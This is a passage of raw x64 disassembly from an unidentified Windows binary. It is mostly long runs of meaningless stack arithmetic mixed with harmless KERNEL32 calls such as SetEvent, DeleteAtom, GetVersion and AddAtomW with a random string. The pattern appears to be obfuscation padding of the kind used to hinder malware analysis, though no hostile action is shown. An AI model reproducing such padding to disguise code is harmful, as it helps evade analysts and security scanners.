mov qword [0x14018c568], rax
lea rax, [rsp + 0x958]
mov qword [rsp + 0x6e88], rax
movzx eax, word [rsp + 0x92c]
movzx ecx, word [rsp + 0x8b0]
sub eax, ecx
mov rcx, qword [rsp + 0x62c0]
mov word [rcx], ax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x6e90], rax
mov rax, qword [0x14018c188]
mov rcx, qword [rsp + 0x5238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c18]
mov rcx, qword [rsp + 0x5120]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3358], rax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x6e98], rax
movsx eax, word [0x14018c170]
mov rcx, qword [rsp + 0x45e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x4b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [rsp + 0x390], ax
mov rax, qword [0x14018c2a8]
mov rcx, qword [rsp + 0x4648]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018c350]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61e8]
mov rcx, qword [rsp + 0x5308]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5228]
mov qword [rcx], rax
lea rax, [rsp + 0x37f0]
mov qword [rsp + 0x6ea0], rax
mov rax, qword [rsp + 0x4d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cc8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x45c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd48], ax
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0x6ea8], rax
mov eax, dword [rsp + 0x2108]
mov ecx, dword [rsp + 0x2060]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20d4], eax
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x6eb0], rax
mov rax, qword [rsp + 0x54f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
or eax, ecx
mov rcx, qword [rsp + 0x5530]
mov byte [rcx], al
mov eax, dword [rsp + 0x1e00]
mov dword [0x14018c570], eax
mov rax, qword [rsp + 0x63b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6748]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xddc], ax
mov rax, qword [rsp + 0x66c0]
movzx eax, word [rax]
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0x6da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ba8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3dc], ax
mov rax, qword [rsp + 0x39b0]
mov qword [rsp + 0x6eb8], rax
mov eax, dword [rsp + 0x2068]
movzx ecx, al
mov eax, dword [rsp + 0x2150]
shr eax, cl
mov rcx, qword [rsp + 0x59d0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x53c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4258]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f88]
mov qword [rcx], rax
lea rax, [rsp + 0x175]
mov qword [rsp + 0x6ec0], rax
mov rax, qword [rsp + 0x6b20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x658]
add eax, ecx
mov word [rsp + 0xdac], ax
lea rax, [rsp + 0xb78]
mov qword [0x14018c578], rax
lea rax, [rsp + 0x3618]
mov qword [rsp + 0x6ec8], rax
mov rax, qword [rsp + 0x6808]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x64e8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1d40]
movzx ecx, al
mov eax, dword [rsp + 0x202c]
sar eax, cl
mov rcx, qword [rsp + 0x5a40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e7]
imul eax, eax, 0xf2
mov byte [rsp + 0x110], al
mov eax, dword [0x14018ad60]
mov ecx, dword [rsp + 0x1b28]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1b9]
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0x6ed0], rax
mov rax, qword [0x14018c3a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x62c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c0a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x49f0]
mov rcx, qword [rsp + 0x5ff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x42d8], rax
mov rax, qword [0x14018c540]
mov rcx, qword [rsp + 0x3a10]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
shl eax, cl
mov word [rsp + 0x7c8], ax
movzx eax, word [rsp + 0xd98]
movzx ecx, word [rsp + 0xab8]
sar eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
lea rax, [0x14018bdc7]
mov qword [rsp + 0x6ed8], rax
mov rax, qword [rsp + 0x6500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2124]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [0x14018c4b8]
mov rcx, qword [rsp + 0x69a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6488]
mov qword [rcx], rax
lea rax, [rsp + 0x45c0]
mov qword [rsp + 0x6ee0], rax
mov rax, qword [rsp + 0x5a28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x64f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018addc], ax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [0x14018c0a8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57a8]
mov word [rcx], ax
lea rax, [rsp + 0x1ed]
mov qword [rsp + 0x6ee8], rax
mov rax, qword [rsp + 0x4138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f20], eax
mov rax, qword [0x14018ad90]
mov rcx, qword [rsp + 0x4830]
mov qword [rsp + 0x6ef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6ef0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5758]
mov qword [rcx], rax
lea rax, [rsp + 0x2088]
mov qword [rsp + 0x6ef8], rax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1b2]
add eax, ecx
mov byte [rsp + 0x1bd], al
lea rax, [rsp + 0x6a40]
mov qword [rsp + 0x6f00], rax
mov rax, qword [0x14018c4f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc0]
and eax, ecx
mov word [rsp + 0xe20], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0x3a4]
and eax, ecx
mov word [0x14018ad14], ax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x50b0]
mov qword [rsp + 0x6f08], rax
mov rax, qword [0x14018c280]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ba8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x81c], ax
lea rax, [rsp + 0x5bc8]
mov qword [rsp + 0x6f10], rax
mov rax, qword [rsp + 0x4950]
mov rcx, qword [rsp + 0x4258]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5cc0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x1f8], al
mov edx, 0xdf1
mov rcx, qword [rsp + 0x55a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x21ec], eax
mov rcx, qword [rsp + 0x55a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14018bfa0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20c4]
shr eax, cl
mov rcx, qword [rsp + 0x6020]
mov dword [rcx], eax
movzx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4018]
mov word [rcx], ax
lea rax, [rsp + 0x2b18]
mov qword [0x14018c580], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx ecx, word [rsp + 0xea8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeb4], ax
lea rax, [rsp + 0x1f2]
mov qword [rsp + 0x6f18], rax
mov eax, dword [rsp + 0x1f04]
mov ecx, dword [rsp + 0x1c54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x21e0], eax
lea rax, [rsp + 0xe90]
mov qword [rsp + 0x6f20], rax
movzx eax, word [rsp + 0xd9c]
mov rcx, qword [rsp + 0x5cf8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x64c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x21dc]
mov ecx, dword [rsp + 0x20b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x6f28], rax
mov rax, qword [rsp + 0x4ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c5]
and eax, ecx
mov byte [rsp + 0x95], al
lea rax, [rsp + 0xe64]
mov qword [rsp + 0x6f30], rax
movzx eax, word [rsp + 0x600]
movzx ecx, word [rsp + 0xcc4]
and eax, ecx
mov rcx, qword [0x14018c058]
mov word [rcx], ax
mov rax, qword [0x14018c400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x46c8]
mov qword [rsp + 0x6f38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6f38]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x41d8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x6b40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x2b18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5700]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov qword [rsp + 0x6f40], rax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd40]
add eax, ecx
mov rcx, qword [rsp + 0x6cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x55a0]
mov rcx, qword [rsp + 0x67e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3188], rax
mov rax, qword [rsp + 0x5010]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd2]
shl eax, cl
mov rcx, qword [rsp + 0x5400]
mov byte [rcx], al
lea rax, [0x14018ad34]
mov qword [rsp + 0x6f48], rax
movzx ecx, word [rsp + 0xc74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe24], ax
mov rax, qword [rsp + 0x42c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6588]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x86], al
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f0], eax
mov rax, qword [rsp + 0x5ee8]
mov ecx, dword [rsp + 0x2168]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5148]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6dc0]
movzx eax, word [rax]
mov word [0x14018c588], ax
lea rax, [rsp + 0x864]
mov qword [rsp + 0x6f50], rax
mov rax, qword [rsp + 0x3ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe74]
sar eax, cl
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x5a10]
mov rax, qword [rax]
mov qword [rsp + 0x6f58], rax
mov eax, dword [rsp + 0x2140]
mov ecx, dword [rsp + 0x1f90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5780]
mov rcx, qword [rsp + 0x56c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4160]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x4d10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe40]
add eax, ecx
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0xda8]
mov qword [rsp + 0x6f60], rax
mov rax, qword [rsp + 0x2b50]
mov rcx, qword [0x14018c440]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c4f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x49a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4588]
mov word [rcx], ax
mov rax, qword [rsp + 0x4830]
mov rcx, qword [rsp + 0x4b98]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x55c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3428]
mov qword [rsp + 0x6f68], rax
mov rax, qword [rsp + 0x56c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2b08]
shl rax, cl
mov qword [rsp + 0x3220], rax
mov rax, qword [rsp + 0x5198]
movzx eax, byte [rax]
mov byte [rsp + 0x1f9], al
mov eax, dword [rsp + 0x1b90]
mov ecx, dword [rsp + 0x20fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov dword [rcx], eax
mov edx, 0x19ad
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2014], eax
movzx eax, byte [rsp + 0x1da]
movzx ecx, byte [rsp + 0x1d0]
xor eax, ecx
mov rcx, qword [rsp + 0x5488]
mov byte [rcx], al
lea rax, [rsp + 0x219c]
mov qword [rsp + 0x6f70], rax
movsx eax, word [rsp + 0xb48]
mov rcx, qword [rsp + 0x4398]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c180]
mov word [rcx], ax
mov rax, qword [rsp + 0x62b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc0]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x83c]
sar eax, cl
mov word [rsp + 0x9e4], ax
movzx eax, word [rsp + 0x438]
movzx ecx, word [rsp + 0xd1c]
sub eax, ecx
mov rcx, qword [rsp + 0x5b18]
mov word [rcx], ax
lea rax, [rsp + 0x2040]
mov qword [rsp + 0x6f78], rax
mov rax, qword [rsp + 0x5940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3220]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd2]
and eax, ecx
mov byte [rsp + 0x16c], al
lea rax, [rsp + 0xd6c]
mov qword [rsp + 0x6f80], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x206c], eax
mov rax, qword [rsp + 0x5290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b78]
mov word [rcx], ax
lea rax, [rsp + 0x35f0]
mov qword [0x14018c590], rax
lea rcx, str.XAJ_qvDNFit.Oz3GReV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xeb8], ax
lea rax, [rsp + 0x5668]
mov qword [rsp + 0x6f88], rax
mov rax, qword [0x14018c330]
mov rcx, qword [rsp + 0x4ee8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3390], rax
mov rax, qword [rsp + 0x6008]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b98]
sar rax, cl
mov qword [rsp + 0x2fc8], rax
lea rax, [rsp + 0x3d8]
mov qword [rsp + 0x6f90], rax
mov rax, qword [rsp + 0x41f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21b4]
shl eax, cl
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x6f98], rax
mov rax, qword [rsp + 0x5838]
mov rcx, qword [rsp + 0x67d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4530]
mov qword [rcx], rax
mov rax, qword [rsp + 0x43b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4940]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1ac], al
movzx ecx, word [rsp + 0xe04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd70], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2114], eax
mov rax, qword [rsp + 0x3fa0]
mov ecx, dword [rsp + 0x20e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14018ad60], eax
lea rax, [0x14018ad64]
mov qword [rsp + 0x6fa0], rax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6750]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
lea rax, [rsp + 0xe34]
mov qword [rsp + 0x6fa8], rax
mov rax, qword [0x14018c1f8]
mov rcx, qword [rsp + 0x2c78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2be0], rax
mov rax, qword [rsp + 0x6580]
mov eax, dword [rax]
mov dword [rsp + 0x21f4], eax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x1b7]
and eax, ecx
mov rcx, qword [rsp + 0x63c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a60]
mov rcx, qword [rsp + 0x41e0]
mov qword [rsp + 0x6fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6fb0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3220], rax
lea rax, [rsp + 0x970]
mov qword [rsp + 0x6fb8], rax
lea rax, [rsp + 0xdc4]
mov qword [0x14018c598], rax
mov rax, qword [rsp + 0x2e48]
mov rcx, qword [rsp + 0x3820]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a58], rax
lea rax, [0x14018c478]
mov qword [rsp + 0x6fc0], rax
mov rax, qword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x20f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2030], eax
movzx eax, byte [rsp + 0x1d4]
movzx ecx, byte [0x14018acda]
and eax, ecx
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x43f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f1c], eax
mov rax, qword [rsp + 0x5bc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c9]
add eax, ecx
mov rcx, qword [rsp + 0x6460]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d48]
mov qword [rsp + 0x6fc8], rax
mov rax, qword [rsp + 0x4710]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda0]
shl eax, cl
mov rcx, qword [rsp + 0x5de8]
mov word [rcx], ax
movzx eax, word [rsp + 0x48c]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018ad00], ax
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [0x14018ad28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6230]
mov qword [rcx], rax
lea rax, [rsp + 0x6628]
mov qword [rsp + 0x6fd0], rax
movsx eax, word [rsp + 0x69c]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
movzx eax, word [0x14018ad20]
mov word [rsp + 0xebc], ax
mov rax, qword [rsp + 0x6e78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x46c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6438]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f48]
mov rcx, qword [rsp + 0x43c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
lea rax, [rsp + 0x3870]
mov qword [rsp + 0x6fd8], rax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x5108]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4178]
mov qword [rcx], rax
lea rax, [rsp + 0xc84]
mov qword [0x14018c5a0], rax
lea rax, [0x14018bea8]
mov qword [rsp + 0x6fe0], rax
mov eax, dword [rsp + 0x1f8c]
mov rcx, qword [rsp + 0x5b78]
mov qword [rsp + 0x6fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6fe8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2130], eax
lea rax, [rsp + 0x1e3]
mov qword [rsp + 0x6ff0], rax
mov rax, qword [rsp + 0x39c8]
mov rcx, qword [rsp + 0x3618]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x32a0], rax
mov rax, qword [rsp + 0x69f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2150], eax
lea rax, [rsp + 0x138]
mov qword [rsp + 0x6ff8], rax
mov rax, qword [rsp + 0x2e78]
mov rcx, qword [rsp + 0x2ef8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b18]
mov qword [rcx], rax
lea rax, [rsp + 0xd84]
mov qword [rsp + 0x7000], rax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f8], eax
movzx eax, word [rsp + 0x8f4]
movzx ecx, word [rsp + 0xe60]
shl eax, cl
mov rcx, qword [0x14018c578]
mov word [rcx], ax
mov rax, qword [rsp + 0x59f8]
mov rax, qword [rax]
mov rcx, qword [0x14018ace0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4500]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcc4], ax
lea rax, [rsp + 0x4f8]
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x2ec0]
mov rcx, qword [0x14018c400]
mov qword [rsp + 0x7010], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7010]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4130]
mov qword [rcx], rax
lea rax, [rsp + 0x2ef8]
mov qword [rsp + 0x7018], rax
mov rax, qword [rsp + 0x40e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d9]
add eax, ecx
mov rcx, qword [rsp + 0x62a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3dc8]
mov ecx, dword [rsp + 0x2038]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov dword [rcx], eax
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x7020], rax
lea rax, [rsp + 0x2bd0]
mov qword [0x14018c5a8], rax
mov rax, qword [rsp + 0x5ce8]
mov ecx, dword [rsp + 0x20f4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1de0], eax
mov rcx, qword [rsp + 0x6540]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x21f0], eax
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x1da]
and eax, ecx
mov byte [rsp + 0xc1], al
movsx eax, word [rsp + 0xe44]
mov rcx, qword [rsp + 0x5cd0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6370]
mov word [rcx], ax
mov rax, qword [rsp + 0x6478]
movzx eax, word [rax]
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0x5490]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6fd8]
mov qword [rsp + 0x7028], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7028]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4c60], rax
mov rax, qword [rsp + 0x64a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4230]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c18]
mov byte [rcx], al
mov r9d, 0xd3b
xor r8d, r8d
lea rdx, [rsp + 0x4800]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x21fc], eax
mov rax, qword [rsp + 0x5970]
mov ecx, dword [rsp + 0x2118]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1c04], eax
mov rax, qword [rsp + 0x4be0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6b0]
and eax, ecx
mov rcx, qword [rsp + 0x4448]
mov word [rcx], ax
movzx eax, word [0x14018ad40]
mov rcx, qword [rsp + 0x4ab8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14018c2dc], ax
mov rax, qword [rsp + 0x5b28]
mov qword [rsp + 0x7030], rax
mov rax, qword [rsp + 0x4cf0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3718]
shl rax, cl
mov qword [rsp + 0x3eb8], rax
mov rax, qword [rsp + 0x36e0]
mov rcx, qword [0x14018c440]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6968]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe90]
sar eax, cl
mov word [rsp + 0x8d8], ax
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [0x14018bf70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x4950]
mov rax, qword [rax]
mov qword [rsp + 0x7038], rax
mov rax, qword [rsp + 0x4608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x44e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e4], al
lea rax, [rsp + 0x20e0]
mov qword [rsp + 0x7040], rax
movsx eax, word [rsp + 0xdd4]
mov rcx, qword [rsp + 0x65b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018ade0], ax
mov rax, qword [0x14018be60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc8]
and eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d18]
movzx eax, word [rax]
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0x5a10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4cc8]
sar rax, cl
mov qword [rsp + 0x3368], rax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x2110]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56f8]
mov rcx, qword [rsp + 0x6328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e80], rax
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [rsp + 0x18d]
shl eax, cl
mov rcx, qword [rsp + 0x6460]
mov byte [rcx], al
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x7048], rax
movzx eax, word [rsp + 0xce0]
movzx ecx, word [rsp + 0xcb0]
or eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov word [rcx], ax
lea rax, [rsp + 0x5a58]
mov qword [0x14018c5b0], rax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x2d20]
